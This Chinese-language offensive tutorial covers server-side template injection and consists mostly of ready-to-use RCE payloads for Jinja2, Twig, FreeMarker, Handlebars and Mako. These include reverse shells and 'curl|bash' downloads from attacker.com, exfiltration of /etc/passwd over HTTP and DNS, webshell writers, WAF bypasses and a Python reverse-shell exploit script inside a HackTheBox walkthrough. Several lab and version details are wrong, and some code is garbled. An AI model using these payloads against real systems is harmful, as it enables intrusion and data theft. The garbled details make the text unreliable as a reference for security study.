前言
SSTI 的可怕之处在于:无需任何命令连接符,直接在模板语法层面完成 RCE。但真实环境中,开发者会加入各种过滤、WAF 规则、甚至启用了沙箱。本文深入实战场景,从识别到利用全覆盖,涵盖 Tplmap 自动化工具、多引擎手工利用、以及常见绕过技术。
一、环境准备
1.1 靶场搭建
VulHub SSTI 靶场(Docker)
1# 安装 Docker
2apt-get update && apt-get install -y docker.io docker-compose
3
4# 启动 Jinja2 SSTI 靶场
5cd /opt/vulhub
6git clone https://github.com/vulhub/vulhub.git
7cd vulhub/flask/ssti
8docker-compose up -d
9
10# 靶场访问
11# http://your-ip:5000/?name={{ 7*7 }}
12# 预期:页面回显 49
DVWA 靶场(SSTI 模块)
1# 使用 Docker 部署 DVWA
2docker run -d -p 80:80 -p 443:443 --name dvwa vulnerables/dvwa
3
4# 访问 DVWA
5# http://your-ip/index.php
6# 登录后选择 "SSTI" 模块进行测试
HackTheBox - SSTI 题目上手
1平台:HackTheBox
2靶机:Vaccine (Linux)
3难度:Easy
4技能点:Python/Jinja2 SSTI + 反弹 Shell
5
6提示:寻找所有用户输入被直接传入模板渲染函数的参数
1.2 工具安装
Tplmap(推荐)
1# 方式1:Git 克隆
2git clone https://github.com/epinna/tplmap.git
3cd tplmap
4pip install -r requirements.txt
5
6# 方式2:pip 安装
7pip install tplmap
8
9# 验证安装
10python tplmap.py --version
11# 输出:Tplmap 0.5
Payload 库
1# HackTricks SSTI Payloads
2git clone https://github.com/swisskyrepo/PayloadsAllTheThings.git
3cd PayloadsAllTheThings/Server\ Side\ Template\ Injection/
4cat README.md | grep -A 100 "Jinja2"
二、Tplmap 自动化检测与利用
2.1 基础检测
1# 检测单个 URL(GET 参数)
2python tplmap.py -u "http://target.com/?name=test"
3
4# 输出示例
5#[+] Tplmap 0.5
6#[+] Testing parameter: name
7#[+] [SUCCESS] Jinja2 template engine detected
8#[+] [SUCCESS] Jinja2 generic injection with tag '{{}}'
2.2 完整利用链
1# 检测 + 读取文件
2python tplmap.py -u "http://target.com/?name=test" --level=3 -e eval
3
4# 读取 /etc/passwd
5python tplmap.py -u "http://target.com/?name=test" \
6 --os-shell
7
8# 交互式命令执行
9python tplmap.py -u "http://target.com/?name=test" \
10 --os-cmd="whoami"
11
12# 输出示例
13#[+] Run command: whoami
14#[+] Command: whoami
15# www-data
2.3 指定模板引擎
1# 强制指定 Jinja2
2python tplmap.py -u "http://target.com/?name=test" \
3 --engine=jinja2
4
5# 指定 Twig
6python tplmap.py -u "http://target.com/?name=test" \
7 --engine=twig
8
9# 指定 FreeMarker
10python tplmap.py -u "http://target.com/?name=test" \
11 --engine=freemarker
2.4 进阶参数
1# 完整扫描(所有引擎、所有技术)
2python tplmap.py -u "http://target.com/?name=test" \
3 --level=5 \
4 --engine=all \
5 --technique=eval
6
7# POST 请求测试
8python tplmap.py -u "http://target.com/" \
9 --method=POST \
10 --data="name=test"
11
12# 指定 Cookie
13python tplmap.py -u "http://target.com/?name=test" \
14 --cookie="PHPSESSID=abc123; security=low"
15
16# 带延迟测试(绕过简单 WAF)
17python tplmap.py -u "http://target.com/?name=test" \
18 --delay=2
19
20# 输出到文件
21python tplmap.py -u "http://target.com/?name=test" \
22 -o /tmp/ssti_results.txt
三、Jinja2 手工利用详解
3.1 基础探测
1# 探测阶段1:数学运算回显
2GET /?name={{ 7*7 }}
3# 响应包含 "49" → Jinja2 确认
4
5# 探测阶段2:Python 内置对象
6GET /?name={{ ''.__class__.__mro__[1].__subclasses__() }}
7# 响应 500 或显示大量类列表 → 确认 Python 模板引擎
8
9# 探测阶段3:获取配置信息
10GET /?name={{ config.items() }}
11# 响应包含 SECRET_KEY 等配置信息
3.2 沙箱逃逸:读取文件
1# Payload:读取 /etc/passwd
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('cat /etc/passwd') }}
3
4# 分步拆解(Python 3.x 索引可能略有不同)
5{{ ''.__class__ }} # → <class 'str'>
6{{ ''.__class__.__mro__ }} # → (<class 'str'>, <class 'object'>)
7{{ ''.__class__.__mro__[1] }} # → <class 'object'>
8{{ ''.__class__.__mro__[1].__subclasses__() }} # → 所有内置类列表
3.3 沙箱逃逸:反弹 Shell
1# 方法1:直接 bash 反弹
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('bash -i >& /dev/tcp/attacker.com/4444 0>&1') }}
3
4# 方法2:Python ワンライナー
5{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])\'') }}
6
7# 方法3:curl 下载脚本执行
8{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('curl http://attacker.com/shell.sh|bash') }}
3.4 沙箱逃逸:写 Webshell
1# Flask/Jinja2 Webshell 写入
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('echo "import os;os.popen(request.args.cmd).read()" > /tmp/shell.py && echo "from flask import Flask,request\napp=Flask(__name__)\n@app.route(\'/\')\ndef index():\n import os\n return os.popen(request.args.get(\'cmd\',\'id\')).read()\nif __name__==\'__main__\':\n app.run(host=\'0.0.0.0\',port=1337)\n" > /tmp/flask_shell.py') }}
3
4# 直接写入 app.py
5{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('echo "from flask import Flask,request\napp=Flask(__name__)\n@app.route(\'/\')ndef i():return __import__(\'os\').popen(request.args.cmd).read()" > /tmp/a.py') }}
3.5 沙箱逃逸:无回显场景
DNS 外带数据:
1# 读取文件并通过 DNS 外带
2# 攻击者监听
3tcpdump -i eth0 -n port 53
4
5# Payload(URL 编码后发送)
6{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('curl http://attacker.com/$(cat /etc/passwd|base64|tr -d "\\n")') }}
7
8# 或者使用 ping
9{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('ping -c 1 $(cat /etc/passwd|base64|tr -d "\\n").attacker.com') }}
时间盲注:
1# 如果完全无回显,使用 sleep 验证
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('sleep 5') }}
3
4# 如果有延迟 → 命令执行成功
四、Twig 手工利用
4.1 Twig 基础检测
1# 检测 Payload
2{{ 7*7 }}
3# 响应包含 "49" → Twig 确认
4
5# Twig 版本判断
6{{ ["id"]|join(" ") }}
7# 如果报错 "Accessing attributes of a string" → Twig 2.x
4.2 Twig 2.x RCE
1# 方法1:_self 利用
2{{ _self.env.registerUndefinedFilterCallback("exec") }}
3{{ ["id"]|join(" ") }}
4
5# 分步解释:
6# _self → 当前模板对象
7# _self.env → 环境对象
8# registerUndefinedFilterCallback → 注册一个过滤器回调
9# "exec" → 系统命令执行
10# ["id"]|join(" ") → 触发过滤器执行 exec("id")
4.3 Twig 3.x RCE
1# Twig 3.x 不再有 _self,需要寻找其他路径
2{{ ["id"]|filter("system") }}
3# 或者
4{{ ["id"]|map("system")|join(" ") }}
4.4 Twig Sandbox 绕过
1# 如果存在沙箱过滤
2{{ ["id"]|join(" ") }}
3{{ ['id', 'whoami']|sort|join(" ") }}
4
5# Twig 内置过滤器:escape, length, reverse, sort, keys, values
6# 构造命令
7{{ ['cat /etc/passwd']|map('exec')|join }}
五、FreeMarker 手工利用
5.1 FreeMarker 检测
1# FreeMarker 使用 ${} 语法
2${7*7}
3# 响应包含 "49" → FreeMarker 确认
4
5# 使用 .data_template?new() 构造方法
6${"freemarker.template.utility.Execute"?new()("id")}
5.2 FreeMarker RCE Payload
1// 基本 RCE
2${"id"?execute()}
3${"whoami"?exec()}
4
5// 执行多条命令
6<#assign ex = "freemarker.template.utility.Execute"?new()>
7${ex("id")}
8${ex("cat /etc/passwd")}
9
10// 读取文件(通过 Runtime.exec)
11<#assign ObjectFactory = "java.lang.Object"?new()>
12<#assign Runtime = "java.lang.Runtime"?new()>
13${Runtime.getRuntime().exec("id")}
14
15// 读取 Tomcat 日志
16${"/etc/passwd"?keep_after("")?keep_before("")}
5.3 FreeMarker 模板注入(Spring MVC)
1// Spring MVC + FreeMarker 场景
2// 如果使用 @ResponseBody 返回字符串,模板内容可能直接渲染
3
4// 基础 RCE
5${"freemarker.template.utility.Execute"?new()("id")}
6
7// 读取系统属性
8${System.getProperty("user.dir")}
9
10// 获取 applicationContext
11${Request.system()?new()}
12
13// 进阶:写文件
14<#assign "freemarker.template.utility.ObjectConstructor"?new()?new("java.io.FileWriter", "/tmp/pwned")>
六、Handlebars 手工利用
6.1 Handlebars 检测
1// 检测 Payload
2{{7*7}}
3// 响应包含 "49" → Handlebars 确认
6.2 Handlebars RCE(沙箱逃逸)
1// Handlebars 默认沙箱较强,但特定版本可绕过
2
3// 方法1:原型链污染
4{{#withthis}}
5 {{#with (lookup this"constructor")}}
6 {{#with (lookup this"prototype")}}
7 {{#withthis}}
8constructor.constructor('return process.env')()
9 {{/with}}
10 {{/with}}
11 {{/with}}
12{{/with}}
13
14// 方法2(某些旧版本)
15{{#with"s"as |s|}}
16 {{#with (lookup . "s")}}
17 {{.}}
18 {{/with}}
19{{/with}}
20
21// 方法3:Assembler 库
22{{ lookup (create (lookup (create null) "java.lang.Runtime")) "getRuntime" }}
七、Mako 手工利用
7.1 Mako 检测
1# Mako 使用 ${} 或 <%
2${7*7}
3# 响应包含 "49" → Mako 确认
7.2 Mako RCE
1# Mako RCE Payload
2${self.module.cache.util.exec("id")}
3${self.module.cache.util.eval("__import__('os').popen('id').read()")}
4
5// 分步利用:
6# self → Template 上下文
7# self.module → <module 'mako'>
8# self.module.cache.util → 含 exec/eval 工具
八、Burp Suite 手动测试流程
8.1 Intruder 配置
1# 步骤1:在 Burp Suite 中设置代理
2# Proxy → Options → 127.0.0.1:8080
3
4# 步骤2:抓包并发送到 Intruder
5# 右键 → Send to Intruder
6
7# 步骤3:设置 Payload Position
8# 选择目标参数,添加 §§
9# 例如:GET /?name=§test§
10
11# 步骤4:配置 Payload List(SSTI 检测集)
12[
13"{{ 7*7 }}",
14"{{7*7}}",
15"${7*7}",
16"${7*7}",
17"<%= 7*7 %>",
18"#{7*7}",
19"{7*7}",
20"{{{'a':1}}.__class__.__bases__[0].__subclasses__()}}",
21"{{''.__class__.__mro__[1].__subclasses__()}}",
22"{{ config.items() }}",
23"{{ request.__class__.__mro__[1].__subclasses__() }}",
24"{{ _self.env.registerUndefinedFilterCallback(\"exec\") }}",
25"${ \"freemarker.template.utility.Execute\"?new()(\"id\") }",
26"{{ _self.env.getTemplate().root.setup(get_defined_vars()) }}",
27]
28
29# 步骤5:分析响应
30# 包含 "49" / 报错包含类名 / 500 异常栈含模板引擎关键字 → 确认存在 SSTI
8.2 Extender 自动化
1# Burp Suite Python 扩展:Bambda SSTI Scanner
2# 保存为 ssti_scanner.py
3
4from burp import IBurpExtender
5from burp import IScannerCheck
6
7classBurpExtender(IBurpExtender, IScannerCheck):
8defdoPassiveScan(self, baseRequestResponse, issues):
9# 检测常见 SSTI 特征
10 response = baseRequestResponse.getResponse().tostring().decode()
11 checks = [
12 ("{{ 7*7 }}", "49"),
13 ("${7*7}", "49"),
14 ("{{config", "SECRET_KEY"),
15 ("__class__", "class '"),
16 ]
17for payload, expected in checks:
18if payload in baseRequestResponse.getRequest().tostring().decode():
19if expected in response:
20# 报告发现
21pass
九、高级绕过技术
9.1 过滤器名混淆
1# 当 {{ config }} 被过滤时
2{{ config.items() }}
3{{ config.items }}
4{{ config["items"] }}
5
6# 绕过关键字过滤
7{{ request["__class__"] }}
8{{ ().__class__.__bases__[0].__subclasses__() }}
9
10# 编码绕过
11{{ request["\x5f\x5fclass\x5f\x5f"] }}
9.2 空格过滤绕过
1# 使用 {{ }} 内换行或注释
2{{config.items()}}
3{{config.items()}}
4{{/**/config/**/.items()}}
9.3 WAF 绕过思路
1常见 WAF 拦截模式:
21. 检测 {{ }} 包裹的完整表达式
32. 检测 __class__、__subclasses__ 等关键字
43. 检测 "exec"、"system"、"popen" 等命令函数
5
6绕过思路:
71. 拆分关键字:__class__ → __cla + ss + __
82. 编码:{{ ''["\x5f\x5fclass\x5f\x5f"] }}
93. 使用替代函数:system → __import__('os').popen().read()
104. 使用内置过滤器链代替直接调用
115. 改变大小写(部分 WAF 未规范化)
9.4 实战绕过链
1# 完整绕过Payload(Jinja2)
2{{''.__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['__import__']('os').popen('id').read()}}
3
4# 简化版(部分版本可用)
5{{ request.__class__.__mro__[1].__subclasses__()[108].__init__.__globals__['system']('id') }}
6
7# 使用 lipsum 替代(某些受限场景)
8{{ lipsum.__globals__.os.popen('id').read() }}
9
10# Flask session 伪造(如已知 SECRET_KEY)
11{{ request.session.get('id') }}
十、CTF 实战:HackTheBox - FriendZone
10.1 信息收集
1# Nmap 扫描
2nmap -sV -sC -p- 10.10.10.123
3# 发现:80/HTTP (Werkzeug/1.14.1), 443/HTTPS
4
5# 枚举目录
6gobuster dir -u http://10.10.10.123 -w /usr/share/wordlists/dirb/common.txt
7# 发现:/robots.txt, /admin_ws.php
10.2 发现 SSTI
1# 测试 /login.php 参数
2POST /login.php
3username={{7*7}}&password=test
4
5# 响应回显 "49" → 确认 Jinja2 SSTI
10.3 编写利用脚本
1#!/usr/bin/env python3
2import requests
3import sys
4import urllib.parse
5
6# 配置
7target = "http://10.10.10.123/login.php"
8attacker_ip = "your-ip"
9attacker_port = "4444"
10
11# 反弹 Shell Payload(Jinja2)
12payload_template = """{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1')}}"""
13
14payload = payload_template.format(
15 attacker_ip=attacker_ip,
16 attacker_port=attacker_port
17)
18
19# 发送 Payload
20data = {
21"username": payload,
22"password": "test"
23}
24
25print(f"[*] Sending SSTI Payload...")
26print(f"[*] Payload: {payload[:80]}...")
27
28r = requests.post(target, data=data)
29print(f"[+] Response status: {r.status_code}")
30
31# 同时启动监听
32# nc -lvnp 4444
10.4 获取 Flag
1# 成功反弹后
2whoami
3# www-data
4
5# 寻找 flag
6cd /home
7ls -la
8cat /home/friend/user.txt
9
10# 提权
11sudo -l
12# 提示:用户可以以 friend 身份执行 /opt/server_admin/read_logs.py
13
14cat /opt/server_admin/read_logs.py
15# 发现:使用 popen 读取日志文件,可能有命令注入
16# 利用:sudo -u friend /opt/server_admin/read_logs.py
17# 输入:; cat /root/root.txt
📚 参考框架
- PortSwigger
— Server-Side Template Injection - Tplmap GitHub
— epinna/tplmap - Nviso
— Server-Side Template Injection: RCE for the Modern Web App - HackTricks
— Server Side Template Injection (SSTI) - PayloadsAllTheThings
— [SSTI Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side% Template%20Injection)
📌 下期预告
第二十五期:服务端模板注入(SSTI)·防御篇,涵盖:
- CVE-2019-8341(Jinja2 沙箱绕过)深度分析
- CVE-2021-3281(FreeMarker 任意文件读取)
- 安全的模板配置(autoescape、严格沙箱、白名单路径)
- WAF 规则设计与 Sigma 检测规则
- Python 沙箱最佳实践
🛡️ 理论先行,实践跟进
⚠️ 提示:本文仅供网络安全学习研究使用。所有技术方案应在获得合法授权的范围内使用。未授权的安全测试违反中国《网络安全法》及相关法规。
夜雨聆风